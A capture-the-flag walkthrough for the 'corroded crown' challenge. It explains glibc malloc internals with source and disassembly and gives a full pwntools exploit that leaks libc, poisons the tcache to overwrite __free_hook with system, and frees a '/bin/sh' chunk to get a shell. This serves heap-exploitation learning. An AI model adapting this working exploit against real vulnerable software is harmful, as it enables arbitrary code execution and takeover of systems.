The corroded crown walkthrough

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

#define unsorted_chunks(M) (bin_at (M, 1))

#define bin_at(m, i) \
    (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
               - offsetof (struct malloc_chunk, fd))

void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
                  "PTRDIFF_MAX is not more than half of SIZE_MAX");

  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

  if (SINGLE_THREAD_P)
    {
      victim = _int_malloc (&main_arena, bytes); /* NOTE@here */
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }
  /* .... */
}

objdump -M intel --disassemble=__libc_malloc glibc/libc.so.6

    ;; .....
   9a135:       64 8b 04 25 18 00 00    mov    eax,DWORD PTR fs:0x18 ;SINGLE_THREAD_P
   9a13c:       00
   9a13d:       85 c0                   test   eax,eax
   9a13f:       0f 85 1b 01 00 00       jne    9a260 <__libc_malloc@@GLIBC_2.2.5+0x180>
   9a145:       48 89 ee                mov    rsi,rbp ; bytes
   9a148:       48 8d 3d 31 2a 15 00    lea    rdi,[rip+0x152a31]        # 1ecb80 <__malloc_hook@@GLIBC_2.2.5+0x10> ; main_arena
   9a14f:       e8 1c d9 ff ff          call   97a70 <pthread_attr_setschedparam@@GLIBC_2.2.5+0x2cc0> ;_int_malloc
    ;; .....

tcache poisoning to get address of __free_hook
-> overwrite it with system address by write primitive
-> place string /bin/sh to somewhere
-> call free with that /bin/sh pointer
-> boom, __free_hook trigger! get shell!

from pwn import *

io = process('./corroded_crown')

if args.GDB:
    context.terminal = ['tmux', 'split', '-h']
    gdb.attach(io, gdbscript= '''
    brva 0x1664
    c
    ''')

choice_manner = b'> '
idx_manner = b'(index): '
size_manner = b'(size): '
def forge(idx, size):
    io.sendlineafter(choice_manner, b'1')
    io.sendlineafter(idx_manner, str(idx).encode())
    io.sendlineafter(size_manner, str(size).encode())

def inscribe(idx, data):
    io.sendlineafter(choice_manner, b'2')
    io.sendlineafter(idx_manner, str(idx).encode())
    io.sendafter(b':\n', data)

def inspect(idx, size):
    io.sendlineafter(choice_manner, b'3')
    io.sendlineafter(idx_manner, str(idx).encode())
    io.recvuntil(b': ')
    return io.recvn(size)

def destory(idx):
    io.sendlineafter(choice_manner, b'4')
    io.sendlineafter(idx_manner, str(idx).encode())

forge(0, 1280)            # 0x500 for free into unsorted_bin which could leak fd,bk point to main_arena, libc address
forge(1, 80)              # avoid consolidation occur with top-chunk when first chunk free
destory(0)

main_arena_addr = u64(inspect(0, 1280)[:8])
info(f'main_arena_addr: {hex(main_arena_addr)}')

libc = ELF('./glibc/libc.so.6', checksec=False)
main_arena_offset = 0x1ecbe0    # inform from src and disassembler
libc.address = main_arena_addr - main_arena_offset
free_hook = libc.sym.__free_hook
system = libc.sym.system
info(f'libc: {hex(libc.address)}, __free_hook addr: {hex(free_hook)}, system addr: {hex(system)}')


forge(2, 8)
forge(3, 8)
destory(2)
destory(3)

inscribe(3, p64(free_hook))

forge(4, 8)
forge(5, 8)
inscribe(5, p64(system))

forge(6, 8)
inscribe(6, b'/bin/sh\x00')
destory(6)

io.interactive()